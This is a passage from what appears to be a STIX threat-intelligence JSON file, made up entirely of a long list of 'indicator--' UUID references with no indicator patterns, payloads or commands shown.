        "indicator--0c9ba142-c351-47ea-864c-2fe4dc6f7431",
        "indicator--356fcfac-7362-4d4d-8ab7-9b750ad1b813",
        "indicator--faeb47a1-c77e-46f5-b6a1-e26023a35c5a",
        "indicator--3a7ac875-3452-426f-b502-0bf64f58f9f8",
        "indicator--e9cb47f7-961a-48d1-9929-200611358fc1",
        "indicator--6b9296e7-5daf-42f9-a48c-543f090fc5d6",
        "indicator--13ee20fd-0850-40fc-83c8-c55534013b00",
        "indicator--253f08db-5d60-472d-bb17-e9b9ff861790",
        "indicator--28e77e50-4b06-477f-8425-084eb1c5c6b8",
        "indicator--d4c2abfc-9bea-4f64-aaf7-b1c14567fdb1",
        "indicator--cb88a553-4523-494f-8ab4-ecdb3d26076b",
        "indicator--fa6f4021-ab84-49fe-aa55-cd326f33c9bd",
        "indicator--2b98c743-0814-4d1e-89ae-53f20bd591af",
        "indicator--4f4df3fb-c46a-4db5-9a86-07a0ac8a2d64",
        "indicator--3d4fa7cd-ecc7-4173-87bd-405868b97f69",
        "indicator--af00ef0d-5c64-46be-acc0-353a1ca48529",
        "indicator--a5793b49-6fec-4176-89a6-9c24bec13fda",
        "indicator--949aa472-4654-4721-a6e4-15c1ff5e1fc6",
        "indicator--8dde0333-2c26-4d06-ae60-0f9e6a944181",
        "indicator--cfbfb177-05b3-499c-9bd5-20301a5f7c64",
        "indicator--733335bc-c828-4d6d-ad36-583c8abe31bc",
        "indicator--a099dbfc-4bec-40fc-ac53-1491baccdf94",
        "indicator--b913a4a1-a18a-4313-8cca-33a4eae957fc",
        "indicator--c3788ce7-4f70-4a54-acd3-f35b88f8d78f",
        "indicator--203c2f2c-fb3c-4b5e-b253-99e40e9100b5",
        "indicator--6c892694-5a81-42d3-b460-5055e1082e11",
        "indicator--f0edd56d-7351-4d84-9da6-274f1fcd37cd",
        "indicator--31493f6a-8479-447b-b4e1-0a308415e82d",
        "indicator--e8035de1-e488-4d6d-8dd3-cbea0851fd53",
        "indicator--461a05c1-5c56-4235-8d9c-9601afafcdd3",
        "indicator--8c1d030d-1074-495d-a9ed-e57d52068278",
        "indicator--25315a94-b841-49cb-8333-a0aff42c66a3",
        "indicator--6a2a95c6-c43c-472f-8669-59db6e0d2759",
        "indicator--8fc052da-ea87-451f-a6cf-17c8c03f6c21",
        "indicator--9fefdde9-74a7-4f58-a5e3-d2fcae5c73b8",
        "indicator--328bf459-d17b-44eb-a446-dd5d9b60ebe0",
        "indicator--f792353d-e3b6-455a-ad26-736499ebce57",
        "indicator--b676956d-4392-4048-83dd-0bbe3f08c697",
        "indicator--b7794c73-ef58-40d9-96ec-4aa433d6e7cb",
        "indicator--d5a88e94-1b12-40ab-bba7-d015506599c8",
        "indicator--34ca223a-a758-46e5-a381-c98146610941",
        "indicator--d6eb8536-6856-44a7-b584-e52eddd8bc3e",
        "indicator--ba3245df-e154-4d9c-b46d-92fab8bfe7e1",
        "indicator--49b26535-ab32-4abc-85d0-563c7cf1f8e6",
        "indicator--a5152447-fec7-49fb-bdeb-3c2af9edbff5",
        "indicator--2db37407-50d2-4042-88de-6e40e6ded214",
        "indicator--d5372ea4-d7a6-4b99-ae48-38238e17b85e",
        "indicator--03b1bfb0-b072-4118-8f30-c09d0ec65cef",
        "indicator--1d418391-4352-4b9d-bbb4-1ebc11e5e924",
        "indicator--3ad48714-29b1-4352-8b51-9ec2e5f33413",
        "indicator--49eeb08f-d60c-4a31-ac33-b9b4b1afd7b2",
        "indicator--c54abade-f257-4abc-a2c3-b8bc63e24a46",
        "indicator--747083e2-94b0-4824-af65-6d83288d693e",
        "indicator--b3a4c9e7-3d0a-433b-bbe7-84078cb5436f",
        "indicator--74b7dcda-1dc8-4ec2-b105-f1f7c9f33393",
        "indicator--8d634fee-b89e-4006-a552-65aa8ac88434",
        "indicator--07897edb-8789-4cc6-907e-9a8f37dc0542",
        "indicator--9327e527-8bb0-4eb8-ab59-ea8bb0ec3883",
        "indicator--0f3a1fbb-3124-4ffa-9665-2fb5e0aa00c5",
        "indicator--bac7327c-4360-431c-926e-17752782e2ac",
        "indicator--9386d3d1-6368-4274-b3c8-3370d4d99c7b",
        "indicator--42f0a6d3-ff2a-4f4e-9638-bb746dbaf4d5",
        "indicator--76526e5f-a650-426b-acea-976a0a673e5f",
        "indicator--33ff52b5-e7f3-47c7-b3c6-6ad4bf2fe206",
        "indicator--f405d647-a0fa-431b-8f6a-8d5571cf4422",
        "indicator--59bfd7c8-c9d5-4c08-b1c6-087909b0228c",
        "indicator--31b087f1-163c-46f1-8346-4708b029883e",
        "indicator--a9ca2f0f-3650-454e-abc9-b550ba07bf25",
        "indicator--a2314fc5-ce49-42d6-ba4b-9ff38ddf33df",
        "indicator--ba5351ce-7b49-44a6-8e60-c733f862926c",
        "indicator--a242d6be-3cdf-4519-9c20-eae2c145d966",
        "indicator--66a3193d-f3d9-40d5-9807-7814a6fa4a83",
        "indicator--00d3a3b4-ee5c-444a-acc3-0dacfb6246f8",
        "indicator--5f1777df-2d28-40ec-8e88-e14860980cad",
        "indicator--48016922-f2a1-4bf2-9045-d990118f4540",
        "indicator--7eb0c508-c16a-404d-a547-6e7272bddcb5",
        "indicator--747319fc-c775-4414-a4dc-28e637ce62ee",
        "indicator--1ec13cbf-b326-4c66-9160-a72ec2762b51",
        "indicator--077cb72f-5896-4c4f-a462-7af8034c8c5d",
        "indicator--5bcc26d2-0807-4150-8d84-6a2b4bfb1b1b",
        "indicator--f080f4ec-1cb7-425a-83a7-c171f8b429e9",
        "indicator--54410a24-f951-48e1-8f94-4c3675410081",
        "indicator--5f3b08ff-4e72-4f17-9be3-c7b086382a93",
        "indicator--7b89bcc8-ab80-421d-892a-9f24385b09e7",
        "indicator--e4eddad1-8df4-4482-8bd0-a367dbab2d4c",
        "indicator--81992fa7-991b-455f-b168-683d8b2b96b4",
        "indicator--0a4a6450-f0f8-4291-986a-5ed7d7946c5c",
        "indicator--524c259f-89fe-4853-929b-75737c19edb8",
        "indicator--58bb4330-2afb-4d34-b681-30fcba776eb8",
        "indicator--70f5acbc-9107-4aab-8a65-dbf9981b6922",
        "indicator--07e8b747-acf8-4f37-ad85-3196a20e36fe",
        "indicator--0392619a-2888-41f1-afa7-38ac67a314aa",
        "indicator--2e4cb864-ea32-4f9a-83cc-f3ee3cf319d0",
        "indicator--2a144c5a-cd0f-4882-a074-b42873ab395d",
        "indicator--968fb001-d3f6-4b5f-a111-7d61c6c7c0c4",
        "indicator--cba22fa5-e8ce-4cbd-ac81-1e7023cd4f4e",
        "indicator--5da8daee-edd1-42b0-be9e-c35505fc2942",
        "indicator--88ecf258-e9e1-410a-9ef9-1f38155979f4",
        "indicator--dfa25e3a-5125-4548-a555-f24a336a5f29",
        "indicator--500df756-b4eb-4432-a05f-e1f905c15682",
        "indicator--2a9333b5-1f9f-4941-86be-49a375018a13",
        "indicator--ffaeecbf-f7b9-4600-8d8e-87a03298f8a1",
        "indicator--b6c19b5c-2cfc-43e6-b9ae-7149e0e89c35",
        "indicator--4a486d97-7f03-4836-b899-6e14a9fae0d0",
        "indicator--e548de8c-d624-476f-a6e3-c6afb382e13f",
        "indicator--7305bc8c-31e8-4068-b744-ff08f505652c",
        "indicator--feff6fb0-8d0a-4c51-843e-ee533913f725",
        "indicator--17403b6c-593b-4c09-98fd-431765361ea6",
        "indicator--e713556e-5052-4501-8203-07c5cc65b92f",
        "indicator--9c0a98d8-4ce7-4694-a15e-5bcd3fb3976c",
        "indicator--ec3d973d-2a57-4eec-ab77-5709c7e87318",
        "indicator--558309c4-2ffa-42fe-9375-30a94aef23ab",
        "indicator--77a5359f-9189-4e09-a7e7-60e5727f42b4",
        "indicator--6edff5f2-dcb1-4f42-976b-85387077ca7f",
        "indicator--b3fe45a1-62f3-4e6c-b3da-9d70198d4093",
        "indicator--536481ed-a430-4532-a4d0-214bbcde8c09",
        "indicator--9bce036a-cbd6-48fa-8b34-9fb9f955466e",
        "indicator--89deda3e-7905-4d5a-8b7c-6d73376ec8d1",
        "indicator--45d0091f-afce-4425-b5e3-ef1ff01e36e7",
        "indicator--89761c1c-8889-49b0-8e62-256861e28ffd",
        "indicator--f409942c-75ac-4d5e-bd05-793480abe260",
        "indicator--19eb1107-e612-41b8-8b25-c5611b23bead",
        "indicator--38d8a5b7-8c89-434b-baaf-7c33f60ffc07",
        "indicator--4f8750f9-e7ec-4321-afb6-dc99b1a0c759",
        "indicator--c94f60b0-0106-45ea-8797-b77d70aff7a2",
        "indicator--b2a516bf-870b-4e1a-82e5-20e883839acc",
        "indicator--53695665-3488-4df1-9dcb-1ed3afce324a",
        "indicator--fd4c7fee-54dc-4835-9aa3-3577766badfa",
        "indicator--2d969c5f-9554-46b1-aa71-57d1d02f52df",
        "indicator--71590b08-96b4-41d8-bb66-50fa6e513b6c",
        "indicator--ce0ad6b4-22e5-4ee7-b63a-eef1d13f7cb6",
        "indicator--ffaf5a27-43c1-4723-b93b-3019a31193e3",
        "indicator--5ae531f5-a545-49dc-9a8a-34e80893a3dd",
        "indicator--065807f1-52ec-4d0a-9806-9de69ca88cb2",
        "indicator--3e9090ce-d29d-4cb0-ab58-8e8a2d8d2fd6",
        "indicator--5d7c19a2-8204-4483-91b1-2230bd01c9ae",
        "indicator--9fe10e8b-7f5e-47a8-837d-f15cb17c5558",
        "indicator--7ff1b664-7536-4def-a1da-ec32dc3f1aac",
        "indicator--e8601c4c-c2f8-4b38-b1b3-8d65c77d7857",
        "indicator--3a82dc28-9929-44c8-acce-04f03cc1bf4d",
        "indicator--e754f851-6e1e-4c5c-b4bf-ec3e5071baa0",
        "indicator--57af3cf4-f6a3-41b5-9913-8f291c28b5b6",
        "indicator--f7fc4f1f-3e68-4fcb-baa3-380bc3dc7e56",
        "indicator--132590ff-4d60-4b57-bf28-848c3be7f3ca",
        "indicator--18998f12-b6f8-44a9-a183-fd6c26054042",
        "indicator--fd34b2b8-5f85-4392-b527-b6fc4cf41680",
        "indicator--eea40322-fafc-44c3-bde5-ee879a2dc9fb",
        "indicator--c9337684-d097-4610-af73-dc274197f0af",
        "indicator--3c439659-1d9d-4291-944a-ad04041ab6c3",
        "indicator--a4b0f688-1e74-4e4d-885a-3b9de6bac870",
        "indicator--ef86d9c6-fa4b-4bf5-b12a-85e905bed73a",
        "indicator--ba6b3a06-f193-4d36-8c9a-6c9616225651",
        "indicator--6da1fc9f-b9bb-4376-a522-6f1e20d88df9",
        "indicator--e865cf7f-5be5-4a0e-b5ea-b4be93a79af9",
        "indicator--c67758f3-dff9-4ac2-a13d-b2c427e9439c",
        "indicator--7e5467c7-3141-4eca-b71b-db1dfcdd7e1f",
        "indicator--0bd480e0-bc4a-49b0-b372-de84d61eea61",
        "indicator--aa70558c-b1ee-4dbe-80a3-ae5d0c8352bc",
        "indicator--51f3637e-28ec-4be9-8502-44f86132cb47",
        "indicator--1980801d-5d16-480a-8702-20c02e14abc8",
        "indicator--4a98cbc5-1c38-4fcb-a437-4a6eb2eab5db",
        "indicator--b34bb8da-423a-4056-bfbf-973d505b7d53",
        "indicator--dcab302b-1697-4bcd-960a-5f5675c451b3",
        "indicator--9e6a6a9a-cbdc-4728-b3fd-85e3c2e0b483",
        "indicator--b11fb7ed-b8cc-4759-9591-d627e0ed27b1",
        "indicator--7d56687f-fcd8-49ab-9237-9dce1d59e924",
        "indicator--0f45ca3a-1f74-4d41-9afb-5efe70614e63",
        "indicator--f581e030-2c9b-4347-9648-93f9989bbaf2",
        "indicator--a898aac3-80be-47e1-918f-9ec7856ed6e7",
        "indicator--24a59e3c-d253-4ecc-a3de-da3835dbff76",
        "indicator--717dfa60-8bc4-4f50-ab8c-8ac65ca7918f",
        "indicator--7c7b8398-1fb0-4898-81ab-da0777541b42",
        "indicator--3520a49c-db86-4c9b-9cbc-c254bf09e3d2",
        "indicator--a8530171-a64f-4b5d-b424-b24b5ea442fc",
        "indicator--32fc92a7-4cbe-4f3e-b07d-da789639b580",
        "indicator--47ad7fb7-fcea-4add-8ad1-1e55da794675",
        "indicator--ad06dd78-ca4b-4b9a-8a3b-7eca049b440d",
        "indicator--e1184714-f41b-4d5f-9c32-12752215ecbf",
        "indicator--395dd256-ff4d-49e7-bbca-f8c54e47d039",
        "indicator--d105af9d-e844-40c6-b07c-ef42e2c38a6e",
        "indicator--0070f2d4-02f0-4dda-8e54-2454bc9e6860",
        "indicator--bf71cb52-fee9-40f7-b7f4-85c947f94352",
        "indicator--39eb0faa-b127-4339-964d-fa18a4292a6c",
        "indicator--b850be17-a4e8-44a3-a179-41b51e043d83",
        "indicator--87bc450c-05d4-4bd7-aee2-ca94b9d207a2",
        "indicator--855c5336-0a47-4a15-a0b1-96e1ed993175",
        "indicator--fcb0e40d-3f27-44bc-bb84-f85af7b88e0a",
        "indicator--45f39b23-f47f-43bd-a1ff-3f75e3e67a6e",
        "indicator--1a9751a7-63a3-4332-b1e6-1f1edc771454",
        "indicator--39096187-a94d-4fbf-a3df-33b15451b531",
        "indicator--2c8119cf-7700-4251-b022-ccf419fb11ff",
        "indicator--6fbe56f3-7a90-40e5-9967-981865c1f4cb",
        "indicator--9e524e7b-4cef-4d85-b2d6-e77f6dec7360",
        "indicator--cf57b287-201e-4d15-96a8-c699274e2970",
        "indicator--ea89e29b-ab2a-4078-841d-24626d435dc7",
        "indicator--2aa0a171-b159-4580-a8e8-ca38cc89c19b",
        "indicator--a87c2eab-d9ba-4763-981e-67cab6f54241",
        "indicator--24bb59b6-12d5-498a-b2da-d35bd2612747",
        "indicator--4cc51e2e-6698-4e71-842c-c8f3a47f6a92",
        "indicator--72aaebf9-67db-44ae-8b31-aa724893c3d8",
        "indicator--7ee9d4e6-3901-4778-b042-35b58108348e",
        "indicator--df43f8eb-9be4-4964-88e3-2d4f2c3eeed4",
        "indicator--f7fe433a-9dd8-4442-8355-53804678031c",
        "indicator--7344ec5e-8a2e-43f2-a6f5-b7d9bfb3d557",
        "indicator--0ca8351a-c181-46cd-a145-9dca53947979",
        "indicator--cf7a0a92-fd28-4dd5-be7e-612c8a49b9ca",
        "indicator--85ff6082-8e29-43bd-bd73-a39e1a5cf76e",
        "indicator--d60d5f04-9320-4379-81c3-51a21deb00be",
        "indicator--b958142f-4a52-4132-b325-115faa3f187a",
        "indicator--20325cbc-4514-4200-b58b-a8dbfe82ff71",
        "indicator--d4d0df02-4e06-46d9-b4b9-b97faa667f50",
        "indicator--24487a9a-2da3-4ae9-b67c-39130b181845",
        "indicator--0eb39bf6-855a-4a9a-9f3f-a93f1bbb3ad8",
        "indicator--2044056c-aef1-4c58-9620-aa1670563c3a",
        "indicator--8adfcfec-9025-4f55-8114-26a5024f5ffe",
        "indicator--b19221e3-a3c5-46f9-97a2-0731ea1bf9eb",
        "indicator--f077bc4c-af68-4bbb-b870-6c5de0a75d00",
        "indicator--5aceeac3-75ab-44e5-9a9b-f803d2175389",
        "indicator--526fdc74-25ca-42bb-8619-2914cc1e296c",
        "indicator--79d64d8a-b346-432b-a284-85bf9bfe47ad",
        "indicator--c930f945-27a7-437c-97b7-f9de520b6c26",
        "indicator--8182cd12-67c4-4a27-b73c-52cb6a42dfa9",
        "indicator--f4f27d63-c489-4c23-ab97-9018792b9c3a",
        "indicator--b1b76c03-9e9a-4087-ae5c-4aba00eec4fb",
        "indicator--26d544cf-e30a-4ddb-93d3-4fde98d23ad6",
        "indicator--4f0f474a-8763-41b7-a8fb-1735c1200386",
        "indicator--c1ee61ab-158b-4fc0-b5a7-4cac825e903d",
        "indicator--66eb55b5-0ab4-41c3-abdb-4d4c91606fb5",
        "indicator--3122564e-bc6c-45b1-b89d-22183accbf3c",
        "indicator--bf940876-3d8f-4312-8650-6c4efdd73ba3",
        "indicator--3a40b280-4b38-4495-85ae-1449aa77b3d2",
        "indicator--f1b3de27-672b-450d-acce-c1f620fe3cee",
        "indicator--bbe63f67-567d-4ea7-b042-0693fc1fdad9",
        "indicator--2496c921-a981-4eec-abda-75d6dc441403",
        "indicator--94ab201c-3e50-4bfe-a85e-be3c027a801e",
        "indicator--d280c975-5756-4da8-8f9d-6e0eaef001aa",
        "indicator--4a38ec26-d14e-4385-aa3f-7018167271c8",
        "indicator--39cc783d-484f-4d78-8091-808e172c6ec7",
        "indicator--dd9d6a5a-2f5d-4aa1-8d68-3c0b059cdc61",
        "indicator--8fc1b0fb-7c31-4d18-aa59-dc9985fd7108",
        "indicator--4b95aead-3a64-4090-9673-50cade192752",
        "indicator--fff643e6-5e9a-4cb6-ac45-321fdf6c1ae6",
        "indicator--a2f4a08f-50d6-4e3d-9304-7293a46cd24c",
        "indicator--c3e4f2e3-c1b3-45aa-bc73-41a1173f2da0",
        "indicator--ce26a042-9cfc-4b0b-b73c-b70bed77d9ba",
        "indicator--4367f8cc-845d-498e-a552-ceca80cf8725",
        "indicator--028c8b86-66c2-49d2-8c75-2bfb563b0821",
        "indicator--59458c1d-cfd2-4f69-b52f-d62bdd008b0b",
        "indicator--b17a2f72-1dd4-400a-9468-189333a469db",
        "indicator--ca32725a-42c1-4a52-9f44-94784461e47a",
        "indicator--78696163-3ff6-4f3c-9c62-4a7d6dab34bd",
        "indicator--88110d76-d2fa-473c-be9c-3b15d1434aed",
        "indicator--f616df4e-f097-4309-9d8d-1d00e10d79d9",
        "indicator--de4f0da4-f03d-49b6-8dad-4a030205adb7",
        "indicator--57d38130-ccf3-4a8a-b401-1a7ea1c1c47e",
        "indicator--fac7de62-a28c-4f49-be66-015409f7cfa7",
        "indicator--f0f46f4f-b9a1-47f3-be4c-cfb145d40a55",
        "indicator--7f4d977f-2d1f-419d-b505-942a6d0ea305",
        "indicator--da8db2c2-57a8-457f-a587-7d050de63bb0",
        "indicator--6bf3d62a-6be8-43f9-83aa-a816b848a5c2",
        "indicator--5ae71cd4-b84a-45db-a3c3-018d0ded72d2",
        "indicator--2368f111-c161-4b8c-8ab6-503f5b03ccbd",
        "indicator--afc5a7bd-8304-495e-b880-aa57c0a61cb5",
        "indicator--7fd13dd3-6fc8-4299-959b-9b2521b66bc1",
        "indicator--bb7a9f6b-b6d6-4872-8ed8-b4b2981dd1a0",
        "indicator--9e8b1803-3313-4e11-90a5-6153d5546bd3",
        "indicator--c52566e5-8379-48bb-b3ae-a502468b33fb",
        "indicator--62327d9e-34f9-43ec-aea6-aba45a7eeb79",
        "indicator--8b9ca2f1-23c5-4a2a-8678-a2fc18dbd232",
        "indicator--da2d5dc6-814b-4fe9-a47c-340cda737690",
        "indicator--bcbbb962-dbd4-4f6c-a0e8-98a93c05035c",
        "indicator--9e750985-a2e5-4b72-bb57-5502a039b4d9",
        "indicator--23f86ddd-9340-4dc6-a7f0-78ae58526a97",
        "indicator--e2d20c00-2ef3-4787-a1f4-786f79256138",
        "indicator--26732cfe-758c-40ba-9a84-52a7190c5d13",
        "indicator--64626c32-d0ba-4c05-a701-c7b86cb394cd",
        "indicator--4225ae74-ee19-4469-bdbb-964baf87e7c2",
        "indicator--b8851fc8-4cb4-4063-917f-9f6e13251232",
        "indicator--632e2872-c7ab-41ec-b1fa-d82422c5aa70",
        "indicator--cb5abc22-773e-4717-9a4c-861a916a13ce",
        "indicator--49edf3ad-ba3f-4070-9fc9-3cd9910a407d",
        "indicator--3162bc97-86c8-4017-9a74-9c6701222584",
        "indicator--8847f0bc-412f-4cfc-a7a7-0726d947483f",
        "indicator--5a7be381-7aae-42d6-b9d5-87719aefb0dc",
        "indicator--d8a9d874-31fa-495e-8525-27b24bc1eea2",
        "indicator--96425a07-965b-4054-a4d7-d40db1bad1c8",
        "indicator--71ee8636-d409-4d18-b51a-dfb4e17c2e5c",
        "indicator--e587e3ed-b1b3-42f1-b35f-2b543c72414a",
        "indicator--7f372378-b440-4124-a2d2-ca7bafd6becf",
        "indicator--bcfd9c42-b938-4ed2-add9-491b2379ea8c",
        "indicator--95ea2ec0-ca5c-48b6-b293-9e0c8fcec78f",
        "indicator--d91c2051-fae8-4dd3-b74f-b4fd8cc0eb2d",
        "indicator--cae093fa-f4f8-4e4d-a303-09acf1f6421c",
        "indicator--c2fb7106-1e2a-4214-b064-baa829ff3b5f",
        "indicator--0214a529-c2e9-4a06-a8a0-83e9dcca06d8",
        "indicator--5782f44d-ee65-40ea-b024-5debfe9f0d4d",
        "indicator--57a7aae1-238b-46f8-8c98-56cb7e0732f4",
        "indicator--c26fad27-8a42-4e18-aeb7-d91630519b13",
        "indicator--eeae701d-84e4-47fc-9a9f-8348e67cb14a",
        "indicator--3420af59-dfd7-46ff-bc55-66abc433144a",
        "indicator--ca7edaaa-a52b-4111-8895-a3aa80442f0c",
        "indicator--d5d6a59b-67b9-4ca1-a052-ed539899768f",
        "indicator--fde9370f-7143-4fb3-aa23-c51e927ffe05",
        "indicator--f864e026-da0d-49cd-bd6b-0d16a5f90be1",
        "indicator--b6d68108-0c59-4bcc-9752-9029f99be61c",
        "indicator--a14b209b-6996-4d48-b751-ee7fbfe3fb8b",
        "indicator--8ef4075d-904f-4965-8864-1331f9adbb99",
        "indicator--294bd6ec-5756-4a44-9bfc-186a3cc81b8e",
        "indicator--f9fa4a18-f894-49d1-8db8-df97da4f3600",
        "indicator--a2c1fad0-d9eb-4f4f-8470-121fd44c0ce7",
        "indicator--fd3db5cf-059a-4fdc-bca4-40c7d43b2849",
        "indicator--e3b8ad25-0046-479a-89fc-f40280b3a778",
        "indicator--91c659bd-0252-46cd-9503-e605706cc6aa",
        "indicator--f8a9cf90-ca13-4103-a0f5-a30e5ffefb8a",
        "indicator--206d105e-0b21-4891-9136-4e15695f8113",
        "indicator--396beb37-dded-4e2d-a2cd-794be963f209",
        "indicator--51a78c6c-8db9-4ebb-982e-e0205eeb7e06",
        "indicator--40cba177-dadb-408b-affe-821ab4dab73a",
        "indicator--5cbad0f6-dcc2-4f24-83c3-877bd7f550b5",
        "indicator--0f28aa01-811e-439e-afdb-fe700c922b7c",
        "indicator--e164169b-fab6-4fb0-befb-13edc0996233",
        "indicator--7d49620e-e4a7-4b86-a0c6-62495daa3123",
        "indicator--9b0c38bc-65a7-4587-9f50-546e5c3d0184",
        "indicator--602664ce-b1e4-420a-89e1-b6352467cebe",
        "indicator--5d6d3243-5bb5-43e8-a08e-16fba1ac798a",
        "indicator--8945dbbd-ab2c-43e9-a1d1-ee0f0a24dcd1",
        "indicator--ee8e6bce-8b50-4cee-bbd5-cbf3156165e9",
        "indicator--02e213f2-043f-43fa-94de-0a3d002b8fec",
        "indicator--505a3685-58d5-4815-b397-a93e9471ebd1",
        "indicator--75359782-89f7-4201-8f3a-ff690d4aa8a8",
        "indicator--78a72ea0-e78c-4d5c-a103-09a8b1cc04f1",
        "indicator--8e77727a-8eda-444b-9003-d815aaefdae8",
        "indicator--cc7f2de4-20ca-41f2-8fd7-179827e960b6",
        "indicator--7cf35a03-f4fa-41b4-bc27-0bd774b2a614",
        "indicator--b58d4631-efea-4faa-951a-a76978d61414",
        "indicator--c5457853-c4d7-4c2c-bd6d-23d45eeaa6b5",
        "indicator--9d329f70-6c15-4de6-b7d5-49d39658fce8",
        "indicator--49b9528f-0ad7-4c1d-9c6e-6275f77566ca",
        "indicator--9059c017-4926-45b5-8510-041a386d4abd",
        "indicator--2c09ee82-dcc2-487f-849b-2a76da4390ce",
        "indicator--7220c126-5e21-4715-a71d-aa06fe7a5bd6",
        "indicator--a8fb3417-4f61-4f49-91cd-ceec7fd766de",
        "indicator--38eede7e-20cf-4912-8547-19eb9851d648",
        "indicator--37fab4d5-ef51-4c25-8ebb-5e5ce3b18c79",
        "indicator--b84bd414-3f5e-4864-85cd-ec90bd658620",
        "indicator--10dec845-6a09-4465-88ba-5961b7c9820c",
        "indicator--ed7b7dca-af1d-48f0-a40b-05d471fbf645",
        "indicator--d31c956c-a679-4e01-b984-76c9d4f6874f",
        "indicator--e82b7cdd-eff0-48d8-9534-269fbd1c27ba",
        "indicator--d89d3a88-2cbf-40bd-bc6e-42f5ca54777e",
        "indicator--ba855e16-4d99-43e2-847e-e64aae800c84",
        "indicator--5121fe70-c85f-4ffd-8341-fbf3610edf00",
        "indicator--988f67d1-352b-4cca-b453-4d0f578e8d38",
        "indicator--33dc6ea6-ad2e-4bea-9727-7ea3de93acba",
        "indicator--da80ccbb-33cd-4f71-b838-ac7b6ba2e692",
        "indicator--5e733a94-2d31-44c6-91e9-47ddc29908d5",
        "indicator--14cbe61f-52c5-40a6-8ad6-1fc54f563119",
        "indicator--dac120f7-c08b-495e-a0fe-2e881460ff2f",
        "indicator--681bd2a2-2c66-46b6-8f39-7dd3c9621c88",
        "indicator--6185c03b-1f63-4422-8884-f81e4a773869",
        "indicator--aacecc9d-6dfd-4558-9d24-1a81531759e5",
        "indicator--7dc04f16-3a85-4866-a88a-720592070828",
        "indicator--7213b629-ddfa-41f5-a72f-b4de4514211c",
        "indicator--ecb74bf4-b59d-4220-9f48-48e45a7c2c2c",
        "indicator--562630e1-748c-418a-87c1-7f1d67bda4ec",
        "indicator--e1a5368b-1625-4da1-97a8-e63934d8ad02",
        "indicator--caba5c8f-7800-433e-8949-9d05aa469c03",
        "indicator--1d9a370c-b8b2-4efd-bf3d-99e43e26fdfe",
        "indicator--0e5d949d-d30b-420c-a5fe-99a7c653d669",
        "indicator--025312b9-42ef-41d4-a7f5-e65b2f26a182",
        "indicator--552663c8-1475-456e-b482-df547283e611",
        "indicator--a0026950-4f6e-4d24-95a1-d6f0caeeca60",
        "indicator--2c322371-f2c6-4547-be22-b47fed08fcf9",
        "indicator--1e6ab7b0-3844-4e0d-b993-17d3642746d2",
        "indicator--efa9df0b-282d-4ec1-894e-abcee5f46372",
        "indicator--93f0a420-ca8e-47ab-bddd-a4cecadecb2d",
        "indicator--9c70aea2-853b-4ded-8a55-082f968154fa",
        "indicator--9376b295-6967-45e7-9467-dea858802a8a",
        "indicator--ab84aa45-cc43-43a4-9000-b7e9b314a3d0",
        "indicator--b49db0f2-9f22-47bd-bf0d-f0b98c7cde43",
        "indicator--15911244-8d56-4ae1-985a-9e9a956e09f1",
        "indicator--e76679f3-334d-4df5-99e2-d4d7ff24079a",
        "indicator--61f367c3-3199-40c9-a1a3-d60c4962ec23",
        "indicator--1ef7bd0b-812f-4ae3-b4b5-427411525234",
        "indicator--af6fcf53-d9b9-4530-b1e6-0da8af804d67",
        "indicator--0746daf3-ea62-4fdc-b17a-457573ffc4a0",
        "indicator--440a1458-b95f-418d-967c-89a95eef904e",
        "indicator--51da8cc0-1d27-4983-aa69-f8c4b9586f81",
        "indicator--fb90b0b3-6273-4b7a-bc90-4430ff23ceba",
        "indicator--b5a8d19f-3301-4017-8864-246157917bfe",
        "indicator--f51b3b57-d1c9-49d5-8232-0054186d0eb5",
        "indicator--03e91ee3-0995-42b3-9349-772903bda21f",
        "indicator--c1be6406-c9f1-4aed-90b5-ef4c862ae10b",
        "indicator--97c78485-c4ad-4af6-873a-64a513de1601",
        "indicator--18bc9622-79c8-4c76-9cb7-36b155b12af6",
        "indicator--6124fff1-f987-4d87-807d-52fbeb2808de",
        "indicator--43df07a6-9790-4c85-b223-1e0e51b1e61f",
        "indicator--56aa7155-c57b-45da-847a-12b32f0d2893",
        "indicator--5026f98c-5438-4936-93ad-4bc18fbf917a",
        "indicator--e2875398-2222-41f3-a0d5-afd7bc1fab95",
        "indicator--1eee29e1-0c7d-4d01-9f9b-0f0ddc80cff9",
        "indicator--dc3649aa-88bf-4feb-8dea-e6be032d8e7f",
        "indicator--a78eade4-9652-4d64-8735-cec85dec9bb4",
        "indicator--fd8727e2-0af0-4df2-b32d-af95a6aaa1ea",
        "indicator--c2567272-4782-4003-81a1-b90157cdc96e",
        "indicator--00b97232-301d-4e66-a770-0c5039ca3fd8",
        "indicator--fc52f6a3-d4c9-4d74-8b7e-7968c719bc8a",
        "indicator--d5a74748-4ba9-40bc-8a4e-201ec6f5e7a8",
        "indicator--8905c870-15cf-42ae-91d4-c69029f9ac7b",
        "indicator--b188b6f1-8c34-41f2-92b2-8062c76e4a3f",
        "indicator--7ed494ea-11d3-4931-9516-b48bada9cb01",
        "indicator--7664d5c8-4d29-4320-b2cc-dd03a0ba86d8",
        "indicator--04bd3fbc-8c83-4c84-8e27-d2e8e74de85d",
        "indicator--57d68233-3bf9-47a1-a0d2-d448e09c75ce",
        "indicator--a2c15e0e-1ddd-41af-afd7-dfa12922ddf1",
        "indicator--b467fd79-3e76-4ecc-89eb-5be16e556f20",
        "indicator--ee01e001-bba0-44f1-ba32-9eca8eb59572",
        "indicator--8c08cce6-0054-44fc-bdb7-eee2f803644a",
        "indicator--bf201a68-9818-47c5-bd4d-4de55799f852",
        "indicator--83b53520-1ec4-4ae6-87dc-1512a43d922c",
        "indicator--664399c9-7121-4b04-bb66-d2116965740d",
        "indicator--8b53dedc-5abc-4625-83a0-ae834d9c7a12",
        "indicator--bf1ef00b-0942-4559-bf2a-c7f5f8139f19",
        "indicator--040a6fdb-d5f7-490a-a8b5-4aa8e16fa09a",
        "indicator--412a1928-b0c2-4d95-82ea-160cee0d6088",
        "indicator--01e20da4-36fa-44d4-9614-37a668c9e330",
        "indicator--e54e6ee1-6b08-47b2-8283-2ef3ecafd0f4",
        "indicator--40df6306-d4d7-4755-874c-d82f17f9f2f5",
        "indicator--41b03dc9-7326-47d9-999d-0cc1fe5fcb4f",
        "indicator--e7a93ff4-4a3d-4ebf-89ee-cfca50e9e5a2",
        "indicator--2e10104f-bf98-4fe6-8b02-e1555ffb83ec",
        "indicator--a00edaa2-bb39-430b-9f99-f999968d7b5f",
        "indicator--2f991137-c2ab-408d-9439-fbfd363a916a",
        "indicator--c05cb006-89d4-4c51-90eb-41967c9e51f4",
        "indicator--2c0a987d-cd7e-4e63-8291-d54f8ccf4f5b",
        "indicator--fd7d943e-e5e0-44fa-8baf-85ebae446eb5",
